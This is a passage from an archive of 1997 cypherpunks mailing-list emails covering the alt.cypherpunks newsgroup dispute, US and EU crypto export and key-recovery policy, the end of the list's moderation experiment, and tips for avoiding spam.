MIME-Version: 1.0
Content-Type: text/plain



> I haven't seen any rmgroups for alt.cypherpunks.  Paul Bradley's
> newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos'
> newgroup made it onto the Net, and was reposted the next day by 
> usenet@news.myriad.ml.org.

My local server (news.demon.co.uk) recognised my newgroup for 
alt.cypherpunks and it was immediately visible, I don`t know how far 
it propogated or where Mikes took effect but whatever the 
distribution we seem to have reached most main news servers.
 
>         alt.cypherpunks.announce
>         alt.cypherpunks.social
>         alt.cypherpunks.technical
> 
> and, of course...
> 
>         alt.fan.paul.bradley

What else?

> The latter has been rmgrouped because it was not discussed in 
> alt.config. 

No, It was rmgrouped because the cmsg had no charter, I posted this 
to see if the Cabal would respond.
 
> I might suggest that deliberately tweeking the whiskers of the Cabal by
> gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. 

Quite so, I recieved mail the next day from a member of said clique 
telling me he "considered rmgrouping alt.cypherpunks.announce" 
because it was unmoderated. Needless to say he got a stern talking to 
for that one ;-) I guess I just have to much of a partiality for a 
little whisker tweeking ;-)




> 
> --
> Eric Michael Cordian 0+
> O:.T:.O:. Mathematical Munitions Division
> "Do What Thou Wilt Shall Be The Whole Of The Law"
> 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 07:11:20 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: alt.cypherpunks
Message-ID: <199702141511.HAA07633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> > For example, it hasn't received any messages on my news server,
> > probably because the one upstream removed it. 
> 
> Seems I'm getting alt.cypherpunks.announce (empty), but not
> alt.cypherpunks or any of the others that show up as newgroup'ed on
> Deja News...  Are they alive and well elsewhere? 

All of the groups have showed up at news.demon.co.uk (not suprisingly 
since I grouped them) and I haven`t seen any cancels. I was sent a 
message by some net.scum about him nearly rmgrouping 
alt.cypherpunks.announce because it was unmoderated but he got a 
stern "cypherpunk" talking to for that ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 07:13:15 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: alt.cypherpunks
Message-ID: <199702141513.HAA07722@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> > For example, it hasn't received any messages on my news server,
> > probably because the one upstream removed it. 
> 
> Seems I'm getting alt.cypherpunks.announce (empty), but not
> alt.cypherpunks or any of the others that show up as newgroup'ed on
> Deja News...  Are they alive and well elsewhere? 

All of the groups have showed up at news.demon.co.uk (not suprisingly 
since I grouped them) and I haven`t seen any cancels. I was sent a 
message by some net.scum about him nearly rmgrouping 
alt.cypherpunks.announce because it was unmoderated but he got a 
stern "cypherpunk" talking to for that ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@frb.gov>
Date: Fri, 14 Feb 1997 15:28:12 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702142328.PAA17030@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>	Well, if you can't deliver mail because their mailbox is full, then
>you should simply wait a few days before trying to deliver mail to that
>address. If it's because the address isn't there any more, you should delete
>it from the subscription lists. Otherwise, the instant people's mail quotas
>overflow (e.g., they're on AOL and they haven't been able to get through the
>clogged lines), they get bounced... or you're left with a lot of invalid
>addresses. The address causing the bounce is not necessarily determinable
>automatically from the bounce message; if it isn't, then you need to keep a
>copy around for a human to look at.

	who should bear the burden of dealing with bounces?
	the list admin or the owner of the bouncing address?

	if you have the time and desire, you can accomodate people
that bounce mail due to a temporarily full mailbox.

	if not, unsubscribe them after N bounces in a 24 hour period.  
it becomes their responsibility not to bounce more than N emails.

	when a list has 1000's of subscribers, i have not have been able
to provide the type of personal service that the first option entails. 
i do make a digest version of every list available.  if the digest bounces,
the bouncer??? bouncee?? stays below the N bounces threshhold 
(for many values of N :).

jmb







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy N. Hill" <tnh@ACM.ORG>
Date: Fri, 14 Feb 1997 15:56:30 -0800 (PST)
To: Bradley Dunn <bradley@dunn.org>
Subject: Re: Feds OK 128-bit crypto amid protests
Message-ID: <199702142356.PAA18044@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 19:14 -0500 97-02-13, Bradley Dunn wrote:
>See:
>http://www.news.com/News/Item/0,4,7925,00.html
>for details.

Thanks for the pointer.

Note that, unlike the previous three recipients of crypto export licenses,
Open Market did not enable government access to keys.  Instead they went
through the "expensive ... exercise" of convincing "government officials
that the product could not be used to encrypt anything but specific
financial numbers."

 - Tim

Timothy N. Hill <tnh@acm.org>                "We all love to instruct,
Wellesley, Massachusetts                      though we can teach only
<http://www.ma.ultranet.com/~tnh/>         what is not worth knowing."
PGP F058F75D 99C5122F 21C5BEF5 620C1D3C             - Elizabeth Bennet







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Thu, 13 Feb 1997 23:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702140711.XAA25330@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:

thanx for ur answer but then i have another question.

1) is it illegal to develop an encryption tool (s/w) outside the US
which uses > 40 bit size session keys and then import that s/w inside of
the US.

anand....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Feb 1997 15:26:11 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <199702142326.PAA16953@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for forwarding the USACM analysis. We've put it at:

   http://jya.com/usacm.htm

We'd welcome those submitted by cypherpunks or others, for 
putting on jya.com.

It will be some time before BXA publishes them along with the
Final Rule, and, there's worldwide interest in the US's 
foot-shooting.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 15:41:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142341.PAA17388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ok. I'll "put up". 

If the cypherpunks will have me, -I'll- run the cypherpunks
list. Those that know me know that I will *not* censor, moderate, or
otherwise alter the content (other than the stuff majordomo does with
"resend") of any messages to the list.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

    Advice is priceless; when it becomes interference it is preposterous.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Date: Fri, 14 Feb 1997 15:26:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702142326.PAA16968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Is it legal or illegal to send a 
PGP encrypted message from the US to someone in another country?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMwSrJdaX0pKkbeJ9AQG1ogQAloERqECRmAgHAOPq1LwTrWXMw9/E2c0C
Q8TqlVuc6pmW+L+DmTrMb0eZdSTJ00A4Fa4j1390UJEncA1X+zHMNMY9CmUJgDKZ
ROWNiD8tHiIQYJBH2400WYxKsFPb2mX31SJFc4gK0hQtturtzNXWjOGtowqes6MU
kp3/vpeFXZ4=
=pLXe
-----END PGP SIGNATURE-----


*********************************
Scott A. Hommel
President,
New Paradigm Design, Inc.

PGP key available at:
http://paradigm-2.com/scott.html

*********************************







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Fri, 14 Feb 1997 15:56:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks afraid of spam?
Message-ID: <199702142356.PAA18079@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
him personally, just his (distressingly common) attitude]

>Just for the record.  I will not post to USENET given the spamming that
>seems to go to IDs that appear there.

[chuckle]

Just add an anti-spam segment to your email address.

example:

jsmith[at]foo.com

Most people worth talking to have enough of a clue to replace [at] with @.

if your software requires an apparently valid email address, try

jsmith@NOSPAM.foo.com

I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
in the from: header. Sure, somebody out there is going to be unhappy with
me, but if they have a clue they'll figure it out. Meantime, the SpamBots
are bouncing mail to the admin of the site instead of to me.

That may not be enough if you're already in the spamming lists. Try
using 'positive' filtering- instead of filtering to eliminate unwanted
mail, filter email from regular correspondents into a 'approved'
directory, and leave the rest in the inbox to pick through later.

It seems very strange that the denziens of this list, reputed to be gutsy
enough to take on the FBI, NSA, CIA, and White House, would be scared
away from a discussion forum (Usenet) by uninvited email.

We'd better hope they never figure out Cypherpunks, Guardians of
Privacy and Defenders of Free Speech, are afraid of spam.

(And supposedly the 'Moderation experiment' is over, so this won't get
kicked onto the -flames list, although it's more ridicule than flame...)









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Feb 1997 15:42:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Industry Blasts U.S. Encryption Policy
Message-ID: <199702142342.PAA17472@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-14-97. National Business Review, NZ (http://www.nbr.co.nz/):

USA: Industry Groups Blast U.S. Encryption Policy.

Washington, Feb 13 (Reuter) - An array of private-sector trade groups 
charged Thursday the Clinton administration's new export policy on 
computer encoding technology was a failure. 

Encryption products, which scramble information and render it unreadable 
without a password or software "key," are subject to strict export 
limits, although the administration recently relaxed the rules a bit. 

The new policy "does not adequately address the needs of either the 
American business community or the general public," the 13 groups said 
in a letter to Clinton dated Wednesday and released Thursday. 

Among the groups signing the letter were the U.S. Chamber of Commerce, 
the National Association of Manufacturers and the National Retail 
Federation, along with a host of high-tech industry groups such as the
Business Software Alliance and the Information Technology Association of 
America. 

The Centre for Democracy and Technology, an advocacy group for civil 
liberties in cyberspace, and the Association of Research Libraries also 
signed the letter. 

An administration spokeswoman said that, despite the complaints, the 
current policy would be maintained. 

"The administration is moving ahead with our encryption export 
liberalisation policy," spokeswoman Heidi Kukis said. The policy balances 
diverse interests by "allowing us to develop exports while protecting our 
national security," she said. 

The administration has repeatedly said it opposes allowing unfettered 
powerful encryption programmes out of the country where they could be 
used by international criminals and terrorists. 

Under current policy, U.S. companies cannot export products containing 
so-called strong encryption, used to protect everything from a business' 
electronic mail to a consumer's credit card number sent over the Internet,
unless the products also allow the government to crack the code by 
recovering the software keys. 

Companies can get a license to export medium-strength encryption lacking 
so-called key recovery features if the companies agree to incorporate 
key recovery in future products within two years. 

The Commerce Department has issued three licenses so far under the 
two-year provision. Digital Equipment Corp., Trusted Information Systems 
Inc., and Cylink Corp. won approval by promising to offer key recovery
products by 1999. 

International Business Machines Corp. and Hewlett Packard Co. have said 
they are also seeking licenses. 

But companies and privacy advocates rejected the administration's key 
recovery-based approach. 

"It fails to accommodate the competitiveness concerns of sellers of 
encryption products, the security concerns of the buyers of such products, 
or important privacy rights," the groups said in their letter. 

"We believe a fundamental rethinking of this policy is necessary," they 
added. "We remain interested in working with you to achieve a constructive 
solution to this very difficult problem." 

Congress is already considering proposals to dramatically relax the export 
restrictions without requiring key recovery. 

-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 15:56:43 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702142356.PAA18073@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > Date: Thu, 13 Feb 1997 02:08:21 -0800
> > From: Greg Broiles <gbroiles@netbox.com>
> > Subject: Private property & the cypherpunks list(s)
> 
[...]
> 
> What I really find interesting is that in the 3 years SSZ has been up and
> the 8 mailing lists (with about 300 subscribers total) nobody has ever
> complained about the public domain policy and nobody has ever put a
> copyright header on their messages. All these lists are technical and
> several of them are directly involved with technical development of
> projects, some for commercial apps.
> 
> 
>                                                 Jim Choate
>                                                 CyberTects
>                                                 ravage@ssz.com
> 
> 

Jim, if I put "Copyright (c) 1997 by Kent Crispin.  All Rights 
Reserved." in my .sig, would that constitute a "fair-use header"?

In general, I rather like your policy.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 15:41:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congressional subcommittee hearings on computer security
Message-ID: <199702142341.PAA17409@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


                Computer crimes rife,
                unreported 
                By Reuters
                February 13, 1997, 9:45 a.m. PT 

                WASHINGTON--Security experts say hackers
                are finding it easier to break into computer
                networks and steal money, partly because
                companies are reluctant to admit that they are
                vulnerable. 

                "If I want to steal money, a computer is a much
                better tool than a handgun," Daniel Geer, director of
                engineering for Open Market, told a House of
                Representatives technology subcommittee hearing on
                computer security. "


Has anyone been following this debate more closely?  Nothing in any 
of the articles I've seen on this story have mentioned the role of 
strong encryption.

<rhetorical question mode on>
Why can't banks better protect themselves?  Why can't banks better 
authenticate electronic transactions to prevent theft & break-ins?  
Why is the such a dearth of protective measures available to the 
institutions?

The public has a right to know!
<rhetorical question mode off>

Seriously, though, has anyone been following these hearings in more 
detail?

me

---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 15:55:49 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re:
Message-ID: <199702142355.PAA17958@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> > Is it legal or illegal to send a 
> > PGP encrypted message from the US to someone in another country?
> 
> Yes.
> 
> 

No it's not.  Where do you get this?  It would be illegal to send 
them a copy of the PGP program.  But sending encrypted messages is 
not illegal.

Please, cite your source
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 15:58:29 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
Message-ID: <199702142358.PAA18156@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto allegedly said:
> 
> Jeremiah A Blatz wrote:
> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> 
> > Therefore, it would be a Good Thing to continue any discussion on
> > alt.config, and convince any cabal'ers who rmgroup it to re-new it.
> > Sending out boosters every couple of weeks wouldn't hurt, either.
> 
>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Pretty much, yes.  The voting process for a comp group is better, IMO.

But the distributed mailing list is by far the most interesting 
solution.  Contrary to what some have claimed, it really isn't the 
same as usenet -- it allows for distributed control.  There is no 
doubt that the operator of a mail list host should have the freedom 
to set his or her policies as they see fit -- it is their machine, 
and their responsibility.  And contrariwise, subscribers should have 
the freedom to chose list hosts with compatible philosophies.


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:43:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142343.PAA17502@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


        It's always interesting  to see how another person, particularly a
writer, filters and reshapes an experience you shared with them .
Differences in the telling are inevitable -- but I perceived the recent
experience of the C'punks List quite differently than what Declan described
and implied in his column.

        My understanding of Sandy's effort, for instance, was that he was to
filter out the sludge of spam and contentless name-calling with which some
idiots were flooding the list.  My impression was that he was passing along
any posts with content (ideas, pro or con, on almost anything) but filtering
out the empty obscene name-calling and slurs (many of which seemed anon or
forged, with varied and misleading titles, to duck my kill-file filters.)

        I, for one, was appreciative.  I don't mind flames (and I expected
to still be able to recieve them, from whatever POV -- and it seemed that I
did!) but I also want a little meat somewhere amid the smoke.  

        Who did the filtering  (at the minimal level I expected) was almost
irrelevant. If the filtering was on content, I'd be unhappy -- but I was
eager to see some effort  to cut out the empty hate messages.  I even
suggested to Dale, off-list, that he take it on for awhile.  To me, the
issue was whether this community could develop some mechanism to defend
itself against a willful and intentional effort to destroy it.  I think we
failed to do so, despite the creative search for alternative venues -- and I
think the triumphant cackling I read on what's left of the List  is quite
out of place.  

        It may be that ideological purists were able to develop dynamic
local filters on their PCs  which satisfied them, but my filters just
could't do enough.  It was clear that the fecal-buckshot attacks on the List
were designed to evade them.   I'm still here, but it was more than a minor
annoyance. 

        (A year ago, I knew maybe five friends and acquaintances who
subscribed to C'punks, but they all ran out of patience with the unchecked
flow of sludge and unsubscribed...  months before John tried to introduce
his moderation experiment.)   If 700 dropped off right after the moderation
experiment was announced -- which I somehow doubt -- I wonder how many were
battered into unsubscribing in the six or eight months prior?

        And, of the fleeing 700, how many became bored with the obsession of
some (exhaustively prolific) writers with the "Moderation & Me" -- and went
off to find some discussion of cryptography, politics, and ideas elsewhere?
(Gawd knows, on the then-Moderated List  I never found any lack of
overwrought attacks on Sandy or John.  I even read them for a week or two;-)

        From this whole experience, I carry away something different than
those who gleefully celebrate Gilmore's surrender. I think something unusual
and valuable is being killed.  I'm now convinced that virtually all mailing
lists will soon be forced to either limit posts to authenticated subscribers
or introduce some sort of moderation -- just to deal with the spam threat
and the problem of concerned attacks by those who decide they hate or
dislike or simply want to destroy that particular List community .  

        By the logic of Tim and others, a clever and dedicated crusade
against Cypherpunks by any minimally-organized group, bir or small -- your
local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
destroyed the List at any time in the past.  I'm glad they never realized
how vulnerable we were;  I've enjoyed this Community greatly  in its current
manifestation. 

         I also hate to think of how gleeful the sociopaths who mail-bombed
us into the choice of submission or suicide must be today.  I think it is a
particularly henious crime to destroy a virtual community; something akin to
book-burning, but maybe more like arson -- like burning village schools.  

    There was a willful attempt to destroy C'punks, an attack of depth and
volume which led many of us (even those who had ignored at least three
earlier efforts to offer filtered subsets to the List)  to welcome the
Moderation Experiment. Unfortunately, the attempt at moderation just twisted
our own energies against ourselves.  We were, perhaps predictably, quite
easy to manipulate.

        If I have any criticism of John et al, it is that our List-Owner (a
statement of function, rather than property) never gave the List Community
an overt option to vote for  minimal moderation.  A tactical error.  That
that allowed the anarchists, nihlists, and others pure of heart to focus
their ire on toad.com and Sandy -- rather than on those of us who (when John
finally acted) might have gladly re-subscribed to another version of the
List in order to obtain minimal spam and slur filtration.  

        So now we ourselves burn the village in order to save it. 

        <nostalgic sigh>  

        How American!  

        Suerte,
                        _Vin



At 11:23 PM 2/13/97 -0800, you wrote:
>Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship@vorlon.mit.edu
>
>The Netly News Network
>http://netlynews.com/
>
>A List Goes Down In Flames
>by Declan McCullagh (declan@well.com)
>February 12, 1997
>   






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 14 Feb 1997 15:56:33 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142356.PAA18063@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> 
> Ok. I'll "put up". 
> 
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.

I think that it is a great idea. If you want to contribute to the 
effort to keep the list, this is great. You could join the network of
other cypherpunks mailing lists. 

There is a small list for discussing these networking issues,
cypherpunks-hosts@algebra.com. It is not for crypto-discussions per 
se, but rather for discussing how we proceed with these lists.

You can subscribe to it through majordomo@algebra.com.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 15:58:16 -0800 (PST)
To: omegam@communique.net
Subject: Re:
Message-ID: <199702142358.PAA18153@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Omegaman wrote:

> paul@fatmans.demon.co.uk wrote:
> > > Is it legal or illegal to send a 
> > > PGP encrypted message from the US to someone in another country?
> > 
> > Yes.
> 
> No it's not.  Where do you get this?  It would be illegal to send 
> them a copy of the PGP program.  But sending encrypted messages is 
> not illegal.

Actually, Paul implied that it was both legal and illegal.  I assume he 
meant that it is legal except where the *content* of the message contains 
something illegal (death threats against heads of state, etc.) But if you 
use strong encryption, who'll know? 

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Fri, 14 Feb 1997 15:56:46 -0800 (PST)
To: cryptography@c2.net
Subject: EuroGAK
Message-ID: <199702142356.PAA18078@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



An EU insider writes (paraphrased):


As you say, an EU policy on cryptography requires the utmost care.
We have been following US initiatives closely.  The USG's latest proposal
attempts to balance the need for security with the need to tackle crime.
Some EU Member States have begun work possibly leading to Government
access to keys (where legally authorised).  Various conventions and laws
set out rights for the citizen and these will be respected.

It is not suggested that access should include signature keys, only
those for message confidentiality (as with police search powers).






comment:

The term "Government access to keys" is used.

No mention of mandatory GAK, or the (in)effectiveness of GAK against crime.

He refers to "message  confidentiality ... police search powers"
by which he perhaps means wiretap, rather than search.  Or perhaps he means
storage as well as messages.

His "signature keys" does not specify the plan for a dual-purpose key,
but my guess is they would wish to obtain a dual-purpose key if interested in its cyphertext.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 15:56:38 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702142356.PAA18071@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 aaron@herringn.com wrote:

<explanation of anti-spam e-mail addresses snipped>

> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> in the from: header. Sure, somebody out there is going to be unhappy with
> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> are bouncing mail to the admin of the site instead of to me.

<evil grin> That's *much* better than the mundane 
c.y.n.t.h.b@i.o.s.p.h.e.r.e.dot.n.e.t

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:58:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702142358.PAA18138@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anand Abhyankar <anand@querisoft.com> asked:

>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.
>
>anand....

Hi Anand,

        Nope! Unless there are export controls in India,  your wizards in
Bombay or Dehli (pardon, I forget) can offer their US customers the full and
unrestricted product of their creativity and genius in algorithms, crypto
implementations, and/or crypto protocols.

         There are no restrictions on encryption software being _imported_
into the US, nor are there (at the moment <sigh>) any legal (as opposed to
patent or copyright) restrictions on any encryption software of any strength
being _used_ in the US. 

         For that matter, there are no restrictions on encrypted data being
transmitted across the US border.  

        And (while it may require a license, apparently an exemption for the
product, as opposed to a sales-by-sale license) there are seemingly no -- or
at least less -- restrictions on the use of specialized encryption products
(within the US) which can generate a "self-decrypting" secure packet which
can be transmitted (cross-border, outside the US) and opened, anywhere, by a
recipient who has been provided with a password/key out of band.

         That is how RSA's SecurPC has been able to offer full 128-bit RC4
encryption to secure US-to-Anywhere international file transfers.  

        (As with DES, the US Govt is apparently trying to control the export
of a full implementation package -- not the international distribution of a
widely-known algorithm, per se.  As I understand it, the self-decrypting
PCSecure packet does not contain the user interface which allows automatic
encryption, the interface can only decrypt. The RC4 algorithm, of course,
has to be included in the transmission, and it is inherently reversible --
only the user interface is "crippled" to restrict its use to encrypt.
Corrections welcome, if I don't have this exactly right.)  

        The international traffic in self-decrypting "128-bit" products is
separate and distinct from the issues involved in the recent modifications
of the  US export regs, which allow vendors to get approval to export a
56-bit secret-key encryption product (eg. RC4, RC5, or DES) only  if the
vendor submits a concrete plan, and schedule of implementation, to redesign
their (export) product to require key-escrow or trusted-party
key-recovery/storage. 

        (In addition whatever recovery key is required by corporate backup
policies, this is also, obviously, a mechanism for GAK, "government access
to keys" --under US law,  hopefully with a court warrant -- and/or whatever
backup/key-recovery/GAK-access mechanism might be required various other
nations in which those products will be imported, used, or transhipped from.)

        And with those GAK-adapted implementations, the US govt. will then
approve, for the first time, general export of robust 128-bit secret-key
products... as they reportedly have for Open Market's SSL, and TIS and
Digital crypto products.

      I hope this is helpful,

        Suerte,
                        _Vin







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 14 Feb 1997 15:58:21 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142358.PAA18154@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:
| Just for the record.  I will not post to USENET given the spamming that
| seems to go to IDs that appear there.  

	Your postings appear on the web, as part of the cypherpunks
archives at infinity.nus.sg.

http://infinity.nus.sg/cypherpunks/current/0089.html

	There seem to be robots that search the web; I've never even
read usenet from this account, and I get spam.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 14 Feb 1997 15:56:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congress is at it again; renewed defenses of the CDA
Message-ID: <199702142356.PAA17978@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sen. Coats has been ranting about the CDA again. I have more in the
